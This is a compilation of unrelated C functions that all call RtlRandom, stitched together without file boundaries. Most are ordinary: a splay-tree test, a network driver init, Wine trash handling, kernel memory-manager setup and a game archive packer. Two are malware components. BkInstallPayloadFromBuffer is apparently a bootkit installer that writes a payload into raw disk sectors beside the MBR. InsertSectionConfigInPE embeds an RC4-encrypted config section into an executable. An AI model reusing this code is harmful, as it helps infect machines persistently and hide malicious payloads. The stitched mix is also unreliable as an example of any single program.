PSZ AnotherPrefix(IN ULONG MaxNameLength) { ULONG AlphabetPosition; ULONG NameLength; ULONG IndividualNameLength; ULONG StartBufferPosition; ULONG i; ULONG j; // // Check if there is enough room for another name // if (NextBufferChar > (BUFFER_LENGTH - (MaxNameLength * 4))) { return NULL; } // // Where in the alphabet soup we start // AlphabetPosition = RtlRandom(&Seed) % AlphabetLength; // // How many names we want in our prefix // NameLength = (RtlRandom(&Seed) % MaxNameLength) + 1; // // Compute each name // StartBufferPosition = NextBufferChar; for (i = 0; i < NameLength; i += 1) { Buffer[NextBufferChar++] = '\\'; IndividualNameLength = (RtlRandom(&Seed) % 3) + 1; for (j = 0; j < IndividualNameLength; j += 1) { Buffer[NextBufferChar++] = Alphabet[AlphabetPosition]; AlphabetPosition = (AlphabetPosition + 1) % AlphabetLength; } } Buffer[NextBufferChar++] = '\0'; return &Buffer[StartBufferPosition]; }
int _CDECL main( int argc, char *argv[] ) { PTREE_NODE Root; ULONG i; ULONG Seed; DbgPrint("Start SplayTest()\n"); Root = NULL; Seed = 0; for (i=0; i<2048; i++) { Buffer[i].Data = RtlRandom(&Seed); Buffer[i].Data = Buffer[i].Data % 512; RtlInitializeSplayLinks(&Buffer[i].Links); Root = TreeInsert(Root, &Buffer[i]); } PrintTree(Root); DbgPrint("End SplayTest()\n"); return TRUE; }
BOOLEAN LtInitGetAddressSetPoll( IN PLT_ADAPTER Adapter, IN UCHAR SuggestedNodeId ) /*++ Routine Description: This gets the node id from the card (starts it off actually) and sets the card to be in polling mode. Arguments: Adapter : Pointer to the adapter structure SuggestedNodeId : Pram node id or 0 Return Value: TRUE : if success, FALSE otherwise --*/ { ULONG Seed, Random; DBGPRINT(DBG_COMP_INIT, DBG_LEVEL_INFO, ("LtGetAddress: Getting a node address for lt adapter...\n")); if (SuggestedNodeId == 0) { Seed = (ULONG)Adapter; Random = RtlRandom(&Seed); SuggestedNodeId = (UCHAR)((Random % LT_MAX_CLIENT_NODE_ID) + LT_MIN_SERVER_NODE_ID); } DBGPRINT(DBG_COMP_INIT, DBG_LEVEL_INFO, ("LtGetAddress: Suggested Node Id = %lx\n", SuggestedNodeId)); // Command Length LSB NdisRawWritePortUchar(XFER_PORT, 2); // Command Length MSB NdisRawWritePortUchar(XFER_PORT, 0); NdisRawWritePortUchar(XFER_PORT, (UCHAR)LT_CMD_LAP_INIT); NdisRawWritePortUchar(XFER_PORT, SuggestedNodeId); // Use 0xFF for the interrupt if this card is to be polled. // We *ONLY* support polling. NdisRawWritePortUchar(XFER_PORT, LT_ADAPTER_POLLED_MODE); return TRUE; }
ULONG Random(ULONG Range) { ULONG ret = 0; LARGE_INTEGER temp = KeQueryPerformanceCounter(NULL); ULONG Seed = temp.u.LowPart; ret = RtlRandom(&Seed); ret %= Range; return ret; }
/* * Try to create a .trashinfo file. This function will make several attempts with * different filenames. It will return the filename that succeeded or NULL if a file * couldn't be created. */ static char *create_trashinfo(const char *info_dir, const char *file_path) { const char *base_name; char *filename_buffer; ULONG seed = GetTickCount(); int i; errno = ENOMEM; /* out-of-memory is the only case when errno isn't set */ base_name = strrchr(file_path, '/'); if (base_name == NULL) base_name = file_path; else base_name++; filename_buffer = SHAlloc(strlen(base_name)+9+1); if (filename_buffer == NULL) return NULL; lstrcpyA(filename_buffer, base_name); if (try_create_trashinfo_file(info_dir, filename_buffer, file_path)) return filename_buffer; for (i=0; i<30; i++) { sprintf(filename_buffer, "%s-%d", base_name, i+1); if (try_create_trashinfo_file(info_dir, filename_buffer, file_path)) return filename_buffer; } for (i=0; i<1000; i++) { sprintf(filename_buffer, "%s-%08x", base_name, RtlRandom(&seed)); if (try_create_trashinfo_file(info_dir, filename_buffer, file_path)) return filename_buffer; } WARN("Couldn't create trashinfo after 1031 tries (errno=%d)\n", errno); SHFree(filename_buffer); return NULL; }
void rnd_reseed_now() { seed_data seed; KeQuerySystemTime(&seed.seed20); seed.seed1 = PsGetCurrentProcess(); seed.seed2 = PsGetCurrentProcessId(); seed.seed3 = KeGetCurrentThread(); seed.seed4 = PsGetCurrentThreadId(); seed.seed5 = KeGetCurrentProcessorNumber(); seed.seed6 = KeQueryInterruptTime(); seed.seed10 = KeQueryPerformanceCounter(NULL); seed.seed11 = __rdtsc(); seed.seed12 = ExGetPreviousMode(); seed.seed14 = IoGetTopLevelIrp(); seed.seed15 = MmQuerySystemSize(); seed.seed24 = KeGetCurrentIrql(); if (KeGetCurrentIrql() == PASSIVE_LEVEL) { seed.seed7 = KeQueryPriorityThread(seed.seed3); seed.seed17 = ExUuidCreate(&seed.seed18); seed.seed19 = RtlRandom(&seed.seed8); } if (KeGetCurrentIrql() <= APC_LEVEL) { seed.seed13 = IoGetInitialStack(); seed.seed16 = PsGetProcessExitTime(); IoGetStackLimits(&seed.seed22, &seed.seed23); } KeQueryTickCount(&seed.seed21); rnd_add_buff(&seed, sizeof(seed)); /* Prevent leaks */ zeroauto(&seed, sizeof(seed)); }
ULONG BowserRandom( IN ULONG MaxValue ) /*++ Routine Description: BowserRandom is used to return a random number between 0 and MaxValue Arguments: MaxValue - The maximum value to return. Return Value: Random # between 0 and MaxValue --*/ { PAGED_CODE(); return RtlRandom(&BowserRandomSeed) % MaxValue; }
static BOOL BkInstallPayloadFromBuffer( PCHAR Payload, ULONG PayloadSize, PCHSS PayloadAddress ) { BOOL Ret = FALSE; PCHAR Vbs = NULL, Loader = NULL, Packed = NULL; PVBR Vbr = NULL; ULONG i, bSize = BIOS_DEFAULT_SECTOR_SIZE; PPARTITION_TABLE PTable; ULONG StartSector = 0, EndSector = 0, SectorSize = 0, PackedSize = 0; PWCHAR TargetDrive = wszPhysicalDrive0; PCHAR PayloadSectors = NULL; ULONG PayloadSecSize; ULONG RndSeed = GetTickCount(); DISK_GEOMETRY Dg = {0}; do // not a loop { if (!Payload || !PayloadAddress || !PayloadSize) break; if (!GetDriveGeometry(TargetDrive, &Dg)) break; if (!(Vbs = Alloc(BIOS_DEFAULT_SECTOR_SIZE))) // Not enough memory break; // Reading MBR sector if (!ReadSectors(TargetDrive, Vbs, bSize, 0, 1)) // Reading failed break; // Check out we read a right one if (*(PUSHORT)(Vbs + BIOS_DEFAULT_SECTOR_SIZE - sizeof(USHORT)) != BIOS_MBR_MAGIC) // Wrong or corrupt sector loaded break; // Here we read the Driver Boot sector and searching for the Volume boot sector within it PTable = (PPARTITION_TABLE)(Vbs + BIOS_PARTITION_TABLE_OFFSET); // Calculating drive unpartitioned space for (i=0; i<BIOS_MAX_PARTITION_COUNT; i++) { if (PTable->Entry[i].ActiveFlag & BIOS_PARTITION_ACTIVE_FLAG) { if (StartSector == 0 || StartSector > PTable->Entry[i].LBAStartSector) StartSector = PTable->Entry[i].LBAStartSector; if (EndSector < (PTable->Entry[i].LBAStartSector + PTable->Entry[i].PartitionSize)) EndSector = (PTable->Entry[i].LBAStartSector + PTable->Entry[i].PartitionSize); } } // for (i=0; i<BIOS_MAX_PARTITION_COUNT; i++) PayloadSecSize = (PayloadSize + (Dg.BytesPerSector -1))/Dg.BytesPerSector; if (((StartSector - 1)) > PayloadSecSize) StartSector = 1 + RtlRandom(&RndSeed)%((StartSector - 1) - PayloadSecSize); else { ULONG DriveLastSector = Dg.Cylinders.LowPart * Dg.TracksPerCylinder * Dg.SectorsPerTrack; StartSector = DriveLastSector - PayloadSecSize - 2; } if (!(PayloadSectors = Alloc(PayloadSecSize * Dg.BytesPerSector))) // Not enough memory break; memcpy(PayloadSectors, Payload, PayloadSize); if (StartSector) { // Calculating Start sector CHSS address PayloadAddress->StartSector.QuadPart = (ULONGLONG)StartSector; PayloadAddress->NumberSectors = (USHORT)PayloadSecSize; // Writing payload to the disk Ret = WriteSectors(TargetDrive, PayloadSectors, (PayloadSecSize * Dg.BytesPerSector), StartSector, PayloadSecSize); } } while(FALSE); if (Vbs) Free(Vbs); if (PayloadSectors) Free(PayloadSectors); return(Ret); }
BOOL InsertSectionConfigInPE(PVOID pvPEBase,DWORD dwPESize,PVOID pvData,DWORD dwDataSize,PVOID *ppvNewPE,DWORD *pdwNewPESize) { BOOL bRet = FALSE; PVOID pvCompressedData; DWORD dwCompressedDataSize; PVOID pvConfigData; DWORD dwConfigDataSize; DWORD dwSeed = GetTickCount(); PIMAGE_SECTION_HEADER pNewSection; DWORD dwSize; if (CompressBuffer(pvData,dwDataSize,&pvCompressedData,&dwCompressedDataSize)) { dwConfigDataSize = dwCompressedDataSize + sizeof(SECTION_CONFIG_HEADER); if (pvConfigData = malloc(dwConfigDataSize)) { PSECTION_CONFIG_HEADER pSecCfgHeader = (PSECTION_CONFIG_HEADER)pvConfigData; pSecCfgHeader->dwDecompressedSize = dwDataSize; pSecCfgHeader->dwCompressedSize = dwCompressedDataSize; for (int i = 0; i < sizeof(pSecCfgHeader->bRc4Key); i++) { pSecCfgHeader->bRc4Key[i] = (BYTE)RtlRandom(&dwSeed); } EncryptRc4(pSecCfgHeader->bRc4Key,sizeof(pSecCfgHeader->bRc4Key),&pSecCfgHeader[1],pvCompressedData,dwCompressedDataSize); if (pNewSection = InsertSectionHeader(pvPEBase,SECTION_CONFIG_NAME,dwConfigDataSize,IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ,&dwSize)) { PVOID pvNewPE; DWORD dwNewPESize = pNewSection->PointerToRawData + pNewSection->SizeOfRawData; if (pvNewPE = malloc(dwNewPESize)) { memcpy(pvNewPE,pvPEBase,dwPESize); PIMAGE_NT_HEADERS pNtHeaders = RtlImageNtHeader(pvNewPE); ++(pNtHeaders->FileHeader.NumberOfSections); PIMAGE_SECTION_HEADER pVirtualLastSection = GetVirtualyLastSectionHeader(pNtHeaders); pVirtualLastSection[0] = *pNewSection; pNtHeaders->OptionalHeader.SizeOfImage += dwSize; memcpy((PVOID)((DWORD)pvNewPE + pNewSection->PointerToRawData),pvConfigData,dwConfigDataSize); DWORD dwHeaderSum, dwCheckSum; if (CheckSumMappedFile(pvNewPE,dwNewPESize,&dwHeaderSum,&dwCheckSum)) { pNtHeaders->OptionalHeader.CheckSum = dwCheckSum; *ppvNewPE = pvNewPE; *pdwNewPESize = dwNewPESize; bRet = TRUE; } if (!bRet) free(pvNewPE); } free(pNewSection); } free(pvConfigData); } free(pvCompressedData); } return bRet; }
BOOLEAN NTAPI MmCreateProcessAddressSpace(IN ULONG MinWs, IN PEPROCESS Process, OUT PULONG_PTR DirectoryTableBase) { KIRQL OldIrql; PFN_NUMBER TableBasePfn, HyperPfn, HyperPdPfn, HyperPtPfn, WorkingSetPfn; PMMPTE SystemPte; MMPTE TempPte, PdePte; ULONG TableIndex; PMMPTE PageTablePointer; /* Make sure we don't already have a page directory setup */ ASSERT(Process->Pcb.DirectoryTableBase[0] == 0); ASSERT(Process->Pcb.DirectoryTableBase[1] == 0); ASSERT(Process->WorkingSetPage == 0); /* Choose a process color */ Process->NextPageColor = (USHORT)RtlRandom(&MmProcessColorSeed); /* Setup the hyperspace lock */ KeInitializeSpinLock(&Process->HyperSpaceLock); /* Lock PFN database */ OldIrql = KeAcquireQueuedSpinLock(LockQueuePfnLock); /* Get a page for the table base and one for hyper space. The PFNs for these pages will be initialized in MmInitializeProcessAddressSpace, when we are already attached to the process. */ TableBasePfn = MiRemoveAnyPage(MI_GET_NEXT_PROCESS_COLOR(Process)); HyperPfn = MiRemoveAnyPage(MI_GET_NEXT_PROCESS_COLOR(Process)); HyperPdPfn = MiRemoveAnyPage(MI_GET_NEXT_PROCESS_COLOR(Process)); HyperPtPfn = MiRemoveAnyPage(MI_GET_NEXT_PROCESS_COLOR(Process)); WorkingSetPfn = MiRemoveAnyPage(MI_GET_NEXT_PROCESS_COLOR(Process)); /* Release PFN lock */ KeReleaseQueuedSpinLock(LockQueuePfnLock, OldIrql); /* Zero pages */ /// FIXME: MiZeroPhysicalPage(HyperPfn); MiZeroPhysicalPage(WorkingSetPfn); /* Set the base directory pointers */ Process->WorkingSetPage = WorkingSetPfn; DirectoryTableBase[0] = TableBasePfn << PAGE_SHIFT; DirectoryTableBase[1] = HyperPfn << PAGE_SHIFT; /* Get a PTE to map the page directory */ SystemPte = MiReserveSystemPtes(1, SystemPteSpace); ASSERT(SystemPte != NULL); /* Get its address */ PageTablePointer = MiPteToAddress(SystemPte); /* Build the PTE for the page directory and map it */ PdePte = ValidKernelPte; PdePte.u.Hard.PageFrameNumber = TableBasePfn; *SystemPte = PdePte; /// architecture specific //MiInitializePageDirectoryForProcess( /* Copy the kernel mappings and zero out the rest */ TableIndex = PXE_PER_PAGE / 2; RtlZeroMemory(PageTablePointer, TableIndex * sizeof(MMPTE)); RtlCopyMemory(PageTablePointer + TableIndex, MiAddressToPxe(0) + TableIndex, PAGE_SIZE - TableIndex * sizeof(MMPTE)); /* Sanity check */ ASSERT(MiAddressToPxi(MmHyperSpaceEnd) >= TableIndex); /* Setup a PTE for the page directory mappings */ TempPte = ValidKernelPte; /* Update the self mapping of the PML4 */ TableIndex = MiAddressToPxi((PVOID)PXE_SELFMAP); TempPte.u.Hard.PageFrameNumber = TableBasePfn; PageTablePointer[TableIndex] = TempPte; /* Write the PML4 entry for hyperspace */ TableIndex = MiAddressToPxi((PVOID)HYPER_SPACE); TempPte.u.Hard.PageFrameNumber = HyperPfn; PageTablePointer[TableIndex] = TempPte; /* Map the hyperspace PDPT to the system PTE */ PdePte.u.Hard.PageFrameNumber = HyperPfn; *SystemPte = PdePte; __invlpg(PageTablePointer); /* Write the hyperspace entry for the first PD */ TempPte.u.Hard.PageFrameNumber = HyperPdPfn; PageTablePointer[0] = TempPte; /* Map the hyperspace PD to the system PTE */ PdePte.u.Hard.PageFrameNumber = HyperPdPfn; *SystemPte = PdePte; __invlpg(PageTablePointer); /* Write the hyperspace entry for the first PT */ TempPte.u.Hard.PageFrameNumber = HyperPtPfn; PageTablePointer[0] = TempPte; /* Map the hyperspace PT to the system PTE */ PdePte.u.Hard.PageFrameNumber = HyperPtPfn; *SystemPte = PdePte; __invlpg(PageTablePointer); /* Write the hyperspace PTE for the working set list index */ TempPte.u.Hard.PageFrameNumber = WorkingSetPfn; TableIndex = MiAddressToPti(MmWorkingSetList); PageTablePointer[TableIndex] = TempPte; /// end architecture specific /* Release the system PTE */ MiReleaseSystemPtes(SystemPte, 1, SystemPteSpace); /* Switch to phase 1 initialization */ ASSERT(Process->AddressSpaceInitialized == 0); Process->AddressSpaceInitialized = 1; return TRUE; }
BOOLEAN MmCreateProcessAddressSpace ( IN ULONG MinimumWorkingSetSize, IN PEPROCESS NewProcess, OUT PULONG_PTR DirectoryTableBase ) /*++ Routine Description: This routine creates an address space which maps the system portion and contains a hyper space entry. Arguments: MinimumWorkingSetSize - Supplies the minimum working set size for this address space. This value is only used to ensure that ample physical pages exist to create this process. NewProcess - Supplies a pointer to the process object being created. DirectoryTableBase - Returns the value of the newly created address space's Page Directory (PD) page and hyper space page. Return Value: Returns TRUE if an address space was successfully created, FALSE if ample physical pages do not exist. Environment: Kernel mode. APCs Disabled. --*/ { LOGICAL FlushTbNeeded; PFN_NUMBER PageDirectoryIndex; PFN_NUMBER HyperSpaceIndex; PFN_NUMBER PageContainingWorkingSet; PFN_NUMBER VadBitMapPage; MMPTE TempPte; MMPTE TempPte2; PEPROCESS CurrentProcess; KIRQL OldIrql; PMMPFN Pfn1; ULONG Color; PMMPTE PointerPte; ULONG PdeOffset; PMMPTE MappingPte; PMMPTE PointerFillPte; PMMPTE CurrentAddressSpacePde; // // Charge commitment for the page directory pages, working set page table // page, and working set list. If Vad bitmap lookups are enabled, then // charge for a page or two for that as well. // if (MiChargeCommitment (MM_PROCESS_COMMIT_CHARGE, NULL) == FALSE) { return FALSE; } FlushTbNeeded = FALSE; CurrentProcess = PsGetCurrentProcess (); NewProcess->NextPageColor = (USHORT) (RtlRandom (&MmProcessColorSeed)); KeInitializeSpinLock (&NewProcess->HyperSpaceLock); // // Get the PFN lock to get physical pages. // LOCK_PFN (OldIrql); // // Check to make sure the physical pages are available. // if (MI_NONPAGEABLE_MEMORY_AVAILABLE() <= (SPFN_NUMBER)MinimumWorkingSetSize){ UNLOCK_PFN (OldIrql); MiReturnCommitment (MM_PROCESS_COMMIT_CHARGE); // // Indicate no directory base was allocated. // return FALSE; } MM_TRACK_COMMIT (MM_DBG_COMMIT_PROCESS_CREATE, MM_PROCESS_COMMIT_CHARGE); MI_DECREMENT_RESIDENT_AVAILABLE (MinimumWorkingSetSize, MM_RESAVAIL_ALLOCATE_CREATE_PROCESS); // // Allocate a page directory page. // if (MmAvailablePages < MM_HIGH_LIMIT) { MiEnsureAvailablePageOrWait (NULL, OldIrql); } Color = MI_PAGE_COLOR_PTE_PROCESS (PDE_BASE, &CurrentProcess->NextPageColor); PageDirectoryIndex = MiRemoveZeroPageMayReleaseLocks (Color, OldIrql); Pfn1 = MI_PFN_ELEMENT (PageDirectoryIndex); if (Pfn1->u3.e1.CacheAttribute != MiCached) { Pfn1->u3.e1.CacheAttribute = MiCached; FlushTbNeeded = TRUE; } // // Allocate the hyper space page table page. // if (MmAvailablePages < MM_HIGH_LIMIT) { MiEnsureAvailablePageOrWait (NULL, OldIrql); } Color = MI_PAGE_COLOR_PTE_PROCESS (MiGetPdeAddress(HYPER_SPACE), &CurrentProcess->NextPageColor); HyperSpaceIndex = MiRemoveZeroPageMayReleaseLocks (Color, OldIrql); Pfn1 = MI_PFN_ELEMENT (HyperSpaceIndex); if (Pfn1->u3.e1.CacheAttribute != MiCached) { Pfn1->u3.e1.CacheAttribute = MiCached; FlushTbNeeded = TRUE; } // // Remove page(s) for the VAD bitmap. // if (MmAvailablePages < MM_HIGH_LIMIT) { MiEnsureAvailablePageOrWait (NULL, OldIrql); } Color = MI_PAGE_COLOR_VA_PROCESS (MmWorkingSetList, &CurrentProcess->NextPageColor); VadBitMapPage = MiRemoveZeroPageMayReleaseLocks (Color, OldIrql); Pfn1 = MI_PFN_ELEMENT (VadBitMapPage); if (Pfn1->u3.e1.CacheAttribute != MiCached) { Pfn1->u3.e1.CacheAttribute = MiCached; FlushTbNeeded = TRUE; } // // Remove a page for the working set list. // if (MmAvailablePages < MM_HIGH_LIMIT) { MiEnsureAvailablePageOrWait (NULL, OldIrql); } Color = MI_PAGE_COLOR_VA_PROCESS (MmWorkingSetList, &CurrentProcess->NextPageColor); PageContainingWorkingSet = MiRemoveZeroPageMayReleaseLocks (Color, OldIrql); Pfn1 = MI_PFN_ELEMENT (PageContainingWorkingSet); if (Pfn1->u3.e1.CacheAttribute != MiCached) { Pfn1->u3.e1.CacheAttribute = MiCached; FlushTbNeeded = TRUE; } UNLOCK_PFN (OldIrql); if (FlushTbNeeded == TRUE) { MI_FLUSH_TB_FOR_CACHED_ATTRIBUTE (); } ASSERT (NewProcess->AddressSpaceInitialized == 0); PS_SET_BITS (&NewProcess->Flags, PS_PROCESS_FLAGS_ADDRESS_SPACE1); ASSERT (NewProcess->AddressSpaceInitialized == 1); NewProcess->Vm.MinimumWorkingSetSize = MinimumWorkingSetSize; NewProcess->WorkingSetPage = PageContainingWorkingSet; INITIALIZE_DIRECTORY_TABLE_BASE (&DirectoryTableBase[0], PageDirectoryIndex); INITIALIZE_DIRECTORY_TABLE_BASE (&DirectoryTableBase[1], HyperSpaceIndex); // // Initialize the page reserved for hyper space. // TempPte = ValidPdePde; MI_SET_GLOBAL_STATE (TempPte, 0); MappingPte = MiReserveSystemPtes (1, SystemPteSpace); if (MappingPte != NULL) { MI_MAKE_VALID_KERNEL_PTE (TempPte2, HyperSpaceIndex, MM_READWRITE, MappingPte); MI_SET_PTE_DIRTY (TempPte2); MI_WRITE_VALID_PTE (MappingPte, TempPte2); PointerPte = MiGetVirtualAddressMappedByPte (MappingPte); } else { PointerPte = MiMapPageInHyperSpace (CurrentProcess, HyperSpaceIndex, &OldIrql); } TempPte.u.Hard.PageFrameNumber = VadBitMapPage; PointerPte[MiGetPteOffset(VAD_BITMAP_SPACE)] = TempPte; TempPte.u.Hard.PageFrameNumber = PageContainingWorkingSet; PointerPte[MiGetPteOffset(MmWorkingSetList)] = TempPte; if (MappingPte != NULL) { MiReleaseSystemPtes (MappingPte, 1, SystemPteSpace); } else { MiUnmapPageInHyperSpace (CurrentProcess, PointerPte, OldIrql); } // // Set the PTE address in the PFN for the page directory page. // Pfn1 = MI_PFN_ELEMENT (PageDirectoryIndex); Pfn1->PteAddress = (PMMPTE)PDE_BASE; TempPte = ValidPdePde; TempPte.u.Hard.PageFrameNumber = HyperSpaceIndex; MI_SET_GLOBAL_STATE (TempPte, 0); // // Add the new process to our internal list prior to filling any // system PDEs so if a system PDE changes (large page map or unmap) // it can mark this process for a subsequent update. // ASSERT (NewProcess->Pcb.DirectoryTableBase[0] == 0); LOCK_EXPANSION (OldIrql); InsertTailList (&MmProcessList, &NewProcess->MmProcessLinks); UNLOCK_EXPANSION (OldIrql); // // Map the page directory page in hyperspace. // MappingPte = MiReserveSystemPtes (1, SystemPteSpace); if (MappingPte != NULL) { MI_MAKE_VALID_KERNEL_PTE (TempPte2, PageDirectoryIndex, MM_READWRITE, MappingPte); MI_SET_PTE_DIRTY (TempPte2); MI_WRITE_VALID_PTE (MappingPte, TempPte2); PointerPte = MiGetVirtualAddressMappedByPte (MappingPte); } else { PointerPte = MiMapPageInHyperSpace (CurrentProcess, PageDirectoryIndex, &OldIrql); } PdeOffset = MiGetPdeOffset (MmSystemRangeStart); PointerFillPte = &PointerPte[PdeOffset]; CurrentAddressSpacePde = MiGetPdeAddress (MmSystemRangeStart); RtlCopyMemory (PointerFillPte, CurrentAddressSpacePde, PAGE_SIZE - PdeOffset * sizeof (MMPTE)); // // Map the working set page table page. // PdeOffset = MiGetPdeOffset (HYPER_SPACE); PointerPte[PdeOffset] = TempPte; // // Zero the remaining page directory range used to map the working // set list and its hash. // PdeOffset += 1; ASSERT (MiGetPdeOffset (MmHyperSpaceEnd) >= PdeOffset); MiZeroMemoryPte (&PointerPte[PdeOffset], (MiGetPdeOffset (MmHyperSpaceEnd) - PdeOffset + 1)); // // Recursively map the page directory page so it points to itself. // TempPte.u.Hard.PageFrameNumber = PageDirectoryIndex; PointerPte[MiGetPdeOffset(PTE_BASE)] = TempPte; if (MappingPte != NULL) { MiReleaseSystemPtes (MappingPte, 1, SystemPteSpace); } else { MiUnmapPageInHyperSpace (CurrentProcess, PointerPte, OldIrql); } InterlockedExchangeAddSizeT (&MmProcessCommit, MM_PROCESS_COMMIT_CHARGE); // // Up the session space reference count. // MiSessionAddProcess (NewProcess); return TRUE; }
int _CDECL main( int argc, char *argv[] ) { ULONG Seed; ULONG Temp; ULONG i; CHAR Str[64]; DbgPrint("Start IntegerToChar and CharToInteger Test\n"); Seed = 0x12345678; RtlIntegerToChar(Seed, 2, sizeof(Str), Str); DbgPrint("Seed = 0b%s\n", Str); RtlCharToInteger(Str, 2, &Temp); ASSERTMSG( "RtlCharToInteger(2)", (Seed == Temp) ); RtlIntegerToChar(Seed, 8, sizeof(Str), Str); DbgPrint("Seed = 0o%s\n", Str); RtlCharToInteger(Str, 8, &Temp); ASSERTMSG( "RtlCharToInteger(8)", (Seed == Temp) ); RtlIntegerToChar(Seed, 10, sizeof(Str), Str); DbgPrint("Seed = %s\n", Str); RtlCharToInteger(Str, 10, &Temp); ASSERTMSG( "RtlCharToInteger(10)", (Seed == Temp) ); RtlIntegerToChar(Seed, 16, -8, Str); Str[ 8 ] = '\0'; DbgPrint("Seed = 0x%s\n", Str); RtlCharToInteger(Str, 16, &Temp); ASSERTMSG( "RtlCharToInteger(16)", (Seed == Temp) ); DbgPrint("End IntegerToChar and CharToInteger Test\n"); DbgPrint("Start RandomTest()\n"); Seed = 0; for (i=0; i<2048; i++) { if ((i % 3) == 0) { DbgPrint("\n"); } RtlRandom(&Seed); DbgPrint("%p ", Seed); RtlIntegerToChar(Seed, 16, sizeof(Str), Str); DbgPrint("= %s ", Str); } DbgPrint("\n"); DbgPrint("End RandomTest()\n"); return TRUE; }
UPK_STATUS NitroPlus:: Pack( PCWSTR InputPath, PCWSTR OutputFile /* = NULL */, PLARGE_INTEGER PackedFiles /* = NULL */, ULONG Flags /* = 0 */ ) { UNREFERENCED_PARAMETER(OutputFile); UNREFERENCED_PARAMETER(Flags); ULONG PathLength, Length, Hash, Offset; ULONG Size, CompressedSize, FileBufferSize, CompresseBufferSize; WCHAR FilePath[MAX_NTPATH]; PVOID NpaEntryBase, FileBuffer, CompresseBuffer; PBYTE NpaEntryBuffer; PWSTR FileName; NTSTATUS Status; LARGE_INTEGER FileCount, PackedFileCount; NITRO_PLUS_ENTRY *BaseEntry, *Entry; NITRO_PLUS_NPA_HEADER Header; NITRO_PLUS_NPA_ETNRY *Info; NtFileDisk File; if (PackedFiles == NULL) PackedFiles = &PackedFileCount; PackedFiles->QuadPart = 0; if (!EnumDirectoryFiles( (PVOID *)&BaseEntry, L"*.*", sizeof(*BaseEntry), InputPath, &FileCount, (EnumDirectoryFilesCallBackRoutine)QueryFileList, 0, EDF_SUBDIR) ) { return STATUS_UNSUCCESSFUL; } FileBufferSize = 0; CompresseBufferSize = 0; FileBuffer = NULL; CompresseBuffer = NULL; *(PULONG)&Header.Signature = NPA_HEADER_MAGIC; Header.Version = NPA_GCLX_VERSION; Header.EntryCount = FileCount.LowPart; Header.FileCount = FileCount.LowPart; Header.DirectoryCount = 0; Header.IsCompressed = TRUE; Header.IsEncrypted = TRUE; RtlRandom(&Header.Hash[0]); RtlRandom(&Header.Hash[1]); PathLength = StrLengthW(InputPath); if (OutputFile != NULL) { Status = m_File.Create(OutputFile); } else { FileName = FilePath + PathLength; CopyMemory(FilePath, InputPath, PathLength * sizeof(*FilePath)); if (FileName[-1] == '\\') --FileName; *(PULONG64)FileName = TAG4W('.npa'); FileName[4] = 0; Status = m_File.Create(FilePath); } if (!NT_SUCCESS(Status)) goto RETURN_POINT; PathLength += InputPath[PathLength - 1] != '\\'; NpaEntryBase = AllocateMemory(sizeof(*BaseEntry) * FileCount.LowPart); if (NpaEntryBase == NULL) { Status = STATUS_INSUFFICIENT_RESOURCES; goto RETURN_POINT; } NpaEntryBuffer = (PBYTE)NpaEntryBase; Entry = BaseEntry; for (ULONG Index = 0, Count = FileCount.LowPart; Count; ++Index, --Count) { Length = StrLengthW(Entry->FileName) - PathLength; Length = WideCharToMultiByte( CP_SHIFTJIS, 0, Entry->FileName + PathLength, Length, (PSTR)NpaEntryBuffer + 4, INT_MAX, NULL, NULL ); // Nt_UnicodeToAnsi((PSTR)NpaEntryBuffer + 4, INT_MAX, Entry->FileName + PathLength, Length, &Length); *(PULONG)NpaEntryBuffer = Length; NpaEntryBuffer += 4; Entry->DecryptLength = Length; Entry->Seed = HashBuffer(NpaEntryBuffer, Length); EncryptName(NpaEntryBuffer, Length, Index, &Header); NpaEntryBuffer += Length; NpaEntryBuffer += sizeof(*Info); ++Entry; } Header.EntrySize = PtrOffset(NpaEntryBuffer, NpaEntryBase); Hash = Header.Hash[0] * Header.Hash[1]; NpaEntryBuffer = (PBYTE)NpaEntryBase; Entry = BaseEntry; Offset = 0; m_File.Seek(Header.EntrySize + sizeof(Header), FILE_BEGIN); for (ULONG Index = 0, Count = FileCount.LowPart; Count; ++Index, --Count) { Status = File.Open(Entry->FileName); if (!NT_SUCCESS(Status)) break; Size = File.GetSize32(); if (FileBufferSize < Size) { FileBufferSize = Size; FileBuffer = ReAllocateMemory(FileBuffer, FileBufferSize); if (FileBuffer == NULL) { Status = STATUS_INSUFFICIENT_RESOURCES; break; } } Status = File.Read(FileBuffer, Size); if (!NT_SUCCESS(Status)) break; CompressedSize = Size * 4; if (CompresseBufferSize < CompressedSize) { CompresseBufferSize = CompressedSize; CompresseBuffer = ReAllocateMemory(CompresseBuffer, CompresseBufferSize); if (CompresseBuffer == NULL) { Status = STATUS_INSUFFICIENT_RESOURCES; break; } } CompressedSize = CompresseBufferSize; Status = compress2(CompresseBuffer, &CompressedSize, FileBuffer, Size, Z_BEST_COMPRESSION); if (Status != Z_OK) { Status = STATUS_UNSUCCESSFUL; break; } EncryptData( CompresseBuffer, MY_MIN(CompressedSize, Entry->DecryptLength + 0x1000), (Hash + Entry->Seed) * Size ); NpaEntryBuffer += *(PULONG)NpaEntryBuffer + 4; Info = (NITRO_PLUS_NPA_ETNRY *)NpaEntryBuffer; NpaEntryBuffer += sizeof(*Info); Info->FileType = NP_FILE_TYPE_FILE; Info->CompressedSize = CompressedSize; Info->Offset = Offset; Info->OriginalSize = Size; Info->DirectoryIndex = 0; Status = m_File.Write(CompresseBuffer, CompressedSize); if (!NT_SUCCESS(Status)) break; Offset += CompressedSize; ++Entry; } if (!NT_SUCCESS(Status)) goto RETURN_POINT; m_File.Seek(0, FILE_BEGIN); Status = m_File.Write(&Header, sizeof(Header)); if (!NT_SUCCESS(Status)) goto RETURN_POINT; Status = m_File.Write(NpaEntryBase, Header.EntrySize); if (!NT_SUCCESS(Status)) goto RETURN_POINT; PackedFiles->QuadPart = FileCount.QuadPart; RETURN_POINT: FreeMemory(FileBuffer); EnumDirectoryFilesFree(BaseEntry); return Status; }